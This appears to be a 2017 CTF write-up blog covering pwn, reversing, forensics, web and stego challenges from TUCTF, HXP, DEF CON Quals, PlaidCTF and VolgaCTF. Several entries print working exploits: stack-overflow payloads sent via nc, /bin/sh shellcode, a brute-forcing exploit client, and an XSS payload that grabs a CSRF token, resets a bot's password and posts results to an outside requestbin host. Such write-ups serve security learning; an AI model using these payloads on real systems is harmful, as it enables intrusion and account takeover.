Monday, November 27, 2017

TUCTF 2017 - Vuln Chat



TUCTF was a lot of fun this year, it's primarily geared towards High School & College levels so the challenges tend to be easier than a lot of other CTF's, but any CTF is good practice! The challenges this year were very well designed and it was nice to go through them!

Starting off with PWN we have "vuln chat" and "vuln chat 2.0", both 32-bit ELF binaries.


Vuln Chat


The first binary had a very simple main function.  It contained a simple printFlag function which cat's flag.txt.  It includes two scanf calls in the main function with the format string %30s.


The scanf call is limited to 30 bytes because of the format string, but the first scanf call overflows the format string of the second.  If we walk through this in gdb using pwndbg we can see the format string being overwritten.

Breaking at the second scanf with a short string:

pwndbg> b *0x08048634
pwndbg> r <<< $(python -c "print 'AAAA'")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— '%30s' vararg: 0xffffd18b ◂— 0x486b208

Breaking at the second scanf with a longer string:

pwndbg> r <<< $(python -c "print 'A'*24")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— 'AAAA' vararg: 0xffffd18b ◂— 0x486b208


Nice! We can control the format string! At this point we could do a few things, use %n or %hn to write to a pointer on the stack, or just increase the input size to perform a regular stack smash, let's do the latter.

The buffer is 20 bytes until the format string overwrite, so we'll fill it with 20 A's, then make the format string %1000s which will overflow enough to get to saved EIP + more.

pwndbg> r <<< $(python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*100")
 ► f 0 41414141
   f 1 41414141
   f 2 41414141
   f 3 41414141
   f 4 41414141
   f 5 41414141
   f 6 41414141
   f 7 41414141
   f 8 41414141
   f 9 41414141
   f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)

Looking at saved eip & the start of the buffer, we can see it's 0x31 or 49 bytes away:

pwndbg> i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x8048639 in main; saved eip = 0x41414141
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args:
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
...

pwndbg> context stack
02:0008│      0xffffd188 ◂— 0x41049a10
03:000c│      0xffffd18c ◂— 0x41414141 ('AAAA')
... ↓
1b:006c│      0xffffd1ec ◂— 0x414141 /* 'AAA' */
1c:0070│      0xffffd1f0 ◂— 0x0

pwndbg> p/x 0xffffd1bc - 0xffffd18b
$8 = 0x31

We can get the address of printFlag and overwrite saved eip with it.

pwndbg> p printFlag
$9 = {} 0x804856b 

The Final Remote Exploit:

$ (python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*49 + p32(0x0804856b)"; cat) | nc vulnchat.tuctf.com 4141



Vuln Chat 2.0


This second challenge only took a couple minutes to complete, it was done only with dynamic analysis and the address of the printFlag function.  If we try a very large buffer we see we get a partial overwrite of EIP.

pwndbg> r <<< $(python -c "print 'A'*9001")
 ► f 0  8044141
Program received signal SIGSEGV (fault address 0x8044141)

This looks a lot like a partial overwrite during an ASLR challenge! Printing the address of printFlag and trying to overwrite with the last two bytes is the next step:

pwndbg> p printFlag
$1 = {} 0x8048672 

pwndbg> r <<< $(python -c "print '\x86\x72'*9001")
Starting program: ./vuln-chat2.0 <<< $(python -c "print '\x86\x72'*9001")
----------- Welcome to vuln-chat2.0 -------------
Enter your username: Welcome �r�r�r�r�r�r�r�!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
�r�r�r�r�r�r�r�: djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
[New process 17594]
process 17594 is executing new program: /bin/dash
[New process 17595]
process 17595 is executing new program: /bin/cat
/bin/cat: ./flag.txt: No such file or directory
[Inferior 3 (process 17595) exited with code 01]
Don't let anyone get ahold of this

The Final Remote Exploit:

$ (python -c 'print "\x86\x72"*2240'; cat) | nc vulnchat2.tuctf.com 4242

Sunday, November 19, 2017

HXP 2017 - Aleph1

This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.

In this challenge we get a 64 bit binary and some source!  It's rare to get source in CTF's, this was very generous:


#include 

int main()
{
    char yolo[0x400];
    fgets(yolo, 0x539, stdin);
}

Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:

$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1]    16507 done                              python -c 'print "A"*0x400 + "B"*16' |
       16508 segmentation fault (core dumped)  ./vuln
$ gdb vuln core
...
 ► 0x4005f6     ret    <0x4242424242424242>
...

Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.

We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.

If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005ca <+0>: push   rbp
   0x00000000004005cb <+1>: mov    rbp,rsp
   0x00000000004005ce <+4>: sub    rsp,0x400
   0x00000000004005d5 <+11>: mov    rdx,QWORD PTR [rip+0x200a54]        # 0x601030 
   0x00000000004005dc <+18>: lea    rax,[rbp-0x400]
   0x00000000004005e3 <+25>: mov    esi,0x539
   0x00000000004005e8 <+30>: mov    rdi,rax
   0x00000000004005eb <+33>: call   0x4004d0 
   0x00000000004005f0 <+38>: mov    eax,0x0
   0x00000000004005f5 <+43>: leave
   0x00000000004005f6 <+44>: ret
End of assembler dump.

pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.

pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')

pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
 rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
 called by frame at 0x7fffffffdfe8
 source language c.
 Arglist at 0x7fffffffdfd0, args:
 Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
 Saved registers:
  rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8

pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141

pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242

pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8

Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.

For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/

Putting this all together, we get a long one-line exploit which looks like this:

(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln


At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.

#!/usr/bin/env python
import sys, time
from pwn import *

r = remote('35.205.206.137', 1996)

OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

def main():
  saved_eip = p64(STACK_ADDR + OFFSET)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()


Changing the offset manually a few times didn't end up being very useful. Time to automate this!


  for x in xrange(0, 0xffff, 0x7f):
    try:
      saved_eip = p64(STACK_ADDR + x)
      r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
      r.sendline("whoami")
      print r.recv(2000)
      print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
    except:
      pass
    time.sleep(0.4)

After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.

Running an ls on the remote showed a flag.txt, so we just cat that file.


The final client looks like this:


Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute




This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:


Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.



Enumerating all the possible syscalls we can use for our shellcode, we get this list:


sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.


First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa



Monday, April 24, 2017

PlaidCTF 2017 - no_mo_flo (125)

On this challenge, we're given a binary to reverse called 'no_flo'. Based on your input you get one of two results:

# Failure:
You aint goin with the flow....

# Success:
Good flow!!

When you get the flag it will print 'Good flow!!' otherwise it will print the failure case.

The only reversing done on this was jumping into Binary Ninja for a few minutes and continuing after identifying the type of challenge.  The most important part was to find the length of the input required (0x20 or 32 bytes):



There's a perfect tool for this job that I've been meaning to use for a while now. This tool was: https://github.com/wagiro/pintool.  This is ideal if your challenge binary has a success / failure path and there's one target key to obtain.

There's an excellent article on how to use and automate Pin over on ShellStorm - http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/

Also used CGPwn for this CTF which has been very useful, packed with things like angr, Pin, r2, pwntools, etc. (too many good things to name) - https://github.com/0xM3R/cgPwn

If this is your first time using Pin, you'll have to compile the required shared object files and include them at the top of pintool.

After everything's all setup, we can start cracking!

Running the help on pintool, we can see the available options:

usage: pintool.py [-h] [-e] [-l LEN] [-c NUMBER] [-b CHARACTER] [-a ARCH]
                  [-i INITPASS] [-s SIMBOL] [-d EXPRESSION]
                  Filename

positional arguments:
  Filename       Program for playing with Pin Tool

optional arguments:
  -h, --help     show this help message and exit
  -e             Study the password length, for example -e -l 40, with 40
                 characters
  -l LEN         Length of password (Default: 10 )
  -c NUMBER      Charset definition for brute force (1-Lowercase, 2-Uppecase,
                 3-Numbers, 4-Hexadecimal, 5-Punctuation, 6-All)
  -b CHARACTER   Add characters for the charset, example -b _-
  -a ARCH        Program architecture 32 or 64 bits, -b 32 or -b 64
  -i INITPASS    Inicial password characters, example -i CTF{
  -s SIMBOL      Simbol for complete all password (Default: _ )
  -d EXPRESSION  Difference between instructions that are successful or not
                 (Default: != 0, example -d '== -12', -d '=> 900', -d '<= 17'
                 or -d '!= 32')

Here's a simple command to start with for this binary:

$ python ~/tools/pintool/pintool.py -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{' -d '<= -1' ./no_flo

We will start to get output that looks like this:

....
PCTF{nX_________________________ = 98025 difference 0 instructions
PCTF{nY_________________________ = 98025 difference 0 instructions
PCTF{nZ_________________________ = 98025 difference 0 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference 0 instructions
PCTF{n0!________________________ = 98083 difference 61 instructions
PCTF{n0"________________________ = 98083 difference 61 instructions
PCTF{n0#________________________ = 98083 difference 61 instructions
....


After a while this will start to fail, I haven't figured out exactly why yet (maybe someone can answer this in the comments) -- but underscores seem to be an issue. This has happened on a couple binaries so far.

After we have reached the end of the first word, we can adjust the 'INITPASS' attribute to include an underscore, next example command will look like this:

$ python ~/tools/pintool/pintool.py -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{n0_' -d '<= -1' ./no_flo

We continue this way until we've reached the end, and we get the flag!

PCTF{n0_fl0?_m0_like_ah_h3ll_n0}

PlaidCTF 2017 - zipper (50)



In this challenge we're given a corrupted zip we must repair.

Description:

Something doesn't seem quite right with this zip file. 

Can you fix it and get the flag?

We can see the corruption by attempting to unzip the file:

$ unzip zipper.zip
Archive:  zipper.zip
warning:  filename too long--truncating.
[  ]
:  bad extra field length (central)

To inspect this further we can use zipdetails:

$ zipdetails zipper.zip

0000 LOCAL HEADER #1       04034B50
0004 Extract Zip Spec      14 '2.0'
0005 Extract OS            00 'MS-DOS'
0006 General Purpose Flag  0002
     [Bits 1-2]            2 'Fast Compression'
0008 Compression Method    0008 'Deflated'
000A Last Mod Time         4A9299FC 'Tue Apr 18 19:15:56 2017'
000E CRC                   532EA93E
0012 Compressed Length     00000046
0016 Uncompressed Length   000000F6
001A Filename Length       2329
001C Extra Length          001C
Truncated file (got 206, wanted 9001):

This reflects a similar message showing the "Filename Length" is very large and there's some truncation because of the calculated size. The "wanted" value of 9001 equals the same value seen in "Filename Length" in hex 0x2329.

Next let's create a normal zip file to compare the binary structure.

$ echo '1234' > abc && zip abc.zip abc
  adding: abc (stored 0%)

$ xxd abc.zip
00000000: 504b 0304 0a00 0000 0000 ad79 984a 2117  PK.........y.J!.
00000010: 937d 0500 0000 0500 0000 0300 1c00 6162  .}............ab
00000020: 6355 5409 0003 8678 fe58 8078 fe58 7578  cUT....x.X.x.Xux
00000030: 0b00 0104 f501 0000 0414 0000 0031 3233  .............123
00000040: 340a 504b 0102 1e03 0a00 0000 0000 ad79  4.PK...........y
00000050: 984a 2117 937d 0500 0000 0500 0000 0300  .J!..}..........
00000060: 1800 0000 0000 0100 0000 a481 0000 0000  ................
00000070: 6162 6355 5405 0003 8678 fe58 7578 0b00  abcUT....x.Xux..
00000080: 0104 f501 0000 0414 0000 0050 4b05 0600  ...........PK...
00000090: 0000 0001 0001 0049 0000 0042 0000 0000  .......I...B....
000000a0: 00                                       .

$ xxd zipper.zip
00000000: 504b 0304 1400 0200 0800 fc99 924a 3ea9  PK...........J>.
00000010: 2e53 4600 0000 f600 0000 2923 1c00 0000  .SF.......)#....
00000020: 0000 0000 0000 5554 0900 035b c8f6 585b  ......UT...[..X[
00000030: c8f6 5875 780b 0001 04e8 0300 0004 e803  ..Xux...........
00000040: 0000 5350 2004 b814 082b f128 adaa 4acc  ..SP ....+.(..J.
00000050: d051 a8cc 2f55 c848 2c4b 5548 4e2c 2829  .Q../U.H,KUHN,()
00000060: 2d4a 4d51 28c9 4855 48cb 494c b7e2 0a70  -JMQ(.HUH.IL...p
00000070: 0e71 ab4e 3328 4acd 2b36 4c2e 8eaf 4cac  .q.N3(J.+6L...L.
00000080: ac25 c326 ea28 0100 504b 0102 1e03 1400  .%.&.(..PK......
00000090: 0200 0800 fc99 924a 3ea9 2e53 4600 0000  .......J>..SF...
000000a0: f600 0000 2923 1800 0000 0000 0100 0000  ....)#..........
000000b0: b481 0000 0000 0000 0000 0000 0000 5554  ..............UT
000000c0: 0500 035b c8f6 5875 780b 0001 04e8 0300  ...[..Xux.......
000000d0: 0004 e803 0000 504b 0506 0000 0000 0100  ......PK........
000000e0: 0100 4e00 0000 8800 0000 0000            ..N.........

First we can see the name show up twice within the first hex dump of abc.zip.
We may be interested to find the same part in zipper.zip since the first corruption seems to be a filename issue.

Highlighting the header / footer patterns found within the dumps above, we can see zipper.zip most likely has an 8 byte filename:

# first chunk:
abc.zip    : (1c00) 6162 63(55 54..)
zipper.zip : (1c00) 0000 0000 0000 0000 (5554 09)

# second chunk:
abc.zip    : (0000 0000) 6162 63(55 54..)
zipper.zip : (0000 0000) 0000 0000 0000 0000 (5554)

If we patch both size values to 8 and set the name to something valid, we should have something a little better.

So we edit the values accordingly:

Size_1: 29 23 => 08 00
Size_2: 29 23 => 08 00
Name_1: (1C 00) 00 00 00 00 00 00 00 00 (55 54)     => (1C 00) 41 41 41 41 42 42 42 42 (55 54)
Name_2: (00 00 00 00) 00 00 00 00 00 00 00 00 55 54 => (00 00 00 00) 41 41 41 41 42 42 42 42 (55 54)

Now if we look at this again using 7z we can see the file!

$ 7z l zipper.zip

Scanning the drive for archives:
1 file, 236 bytes (1 KiB)

Listing archive: zipper.zip

--
Path = zipper.zip
Type = zip
Physical Size = 236

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2017-04-18 19:15:55 .....          246           70  AAAABBBB
------------------- ----- ------------ ------------  ------------------------
2017-04-18 19:15:55                246           70  1 files


$ 7z e zipper.zip

Scanning the drive for archives:
1 file, 236 bytes (1 KiB)

Extracting archive: zipper.zip
--
Path = zipper.zip
Type = zip
Physical Size = 236

Everything is Ok

Size:       246
Compressed: 236

Then catting the output, we get:

$ cat AAAABBBB

Huzzah, you have captured the flag:
PCTF{f0rens1cs_yay}

Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)




Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information
corp-news.quals.2017.volgactf.ru
corp-news2.quals.2017.volgactf.ru

Hints

Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

http://corp-news.quals.2017.volgactf.ru/unknown-page

Cannot GET /unknown-page


Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!

PHPSESSID=s%3AtUPAeIpyJ6fxkjO495aXXk8uoeBLiPMx.oOGUyrAXrM%2FDwbeidRiY3WMVuYTLZOF1QdBX5uZnOiA

It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...


Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.



Home doesn't have much on it, so the next page to look at is News.



On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)


They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

...
<button onclick="loadNews()" class="btn btn-primary">Read private news</button>
...

function loadNews() {
    var data = {
    'resultFormat': 'text'
    }
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).


When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub: https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error - https://www.rethinkdb.com/api/javascript/http/#general-options

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:
https://www.rethinkdb.com/api/javascript/http/#request-options

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.


The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}


After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on https://requestb.in/ to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
  $.post("http://requestb.in/wtmd3swt", "SUCCESS!")
</script>

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: requestb.in
Cf-Connecting-Ip: 77.244.214.227
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Origin: http://127.0.0.1:3000
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Referer: http://127.0.0.1:3000/bot
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: 'http://127.0.0.1:3000/bot'. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) - http://corp-news.quals.2017.volgactf.ru:3000/

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin - https://requestb.in/1hvn43r1?inspect

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
var SERVER = 'http://requestb.in/1hvn43r1';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
  $.ajax({
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    },
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');
    }
  });
});
</script>


Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}



And we have the flag!

VolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside}


Sunday, March 26, 2017

VolgaCTF 2017 Quals - VC (50)


This was a very quick one, instantly saw this coming with the low point score, two images and description:

There are files A.png and B.png. But where's the flag?



Primarily posting this to show off a feature in StegSolve.

After loading StegSolve, open up the first png, (File > Open > [choose A.png]).
Next go to Analyse > Image Combiner, and select B.png.
The first option XOR should instantly solve this challenge (for other algorithms, use the left and right arrow to preview them).

You may then save the result for later use : )